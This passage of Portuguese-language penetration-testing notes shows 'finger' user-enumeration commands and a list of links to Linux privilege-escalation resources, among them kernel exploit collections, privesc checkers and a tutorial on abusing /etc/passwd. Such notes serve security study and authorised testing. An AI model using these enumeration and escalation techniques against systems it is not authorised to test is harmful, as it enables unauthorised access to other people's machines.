```bash
finger -l @exemplo.com
```

O comando `finger` tabmém serve para obter informações do usuário (como tempo de ociosidade), Host e IP, mas também serve mostrar arquivos `.plan` ou `.project` em seus diretórios, caso exista.

```bash
finger 0@<ip>
```

####

### Sites

```bash
# Lista de Kernel e seus devidos exploits
https://github.com/lucyoa/kernel-exploits

# Unix Privesc Check
https://pentestmonkey.net/tools/audit/unix-privesc-check

# pspy
https://github.com/DominicBreuker/pspy

# NfSpy
https://github.com/bonsaiviking/NfSpy

# Sensitive Files
https://github.com/xMilkPowderx/OSCP/blob/master/File%20Inclusion.md

# Tutorial para privesc com o arquivo /etc/passwd
https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/

https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux  
https://linuxconfig.org/how-to-create-systemd-service-unit-in-linux
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://github.com/AlessandroZ/BeRoot/tree/master/Linux

# Diversos comandos úteis para Enumerar e fazer PrivEsc
https://www.rebootuser.com/?page_id=1721

https://www.slideshare.net/nullthreat/fund-linux-priv-esc-wprotections
```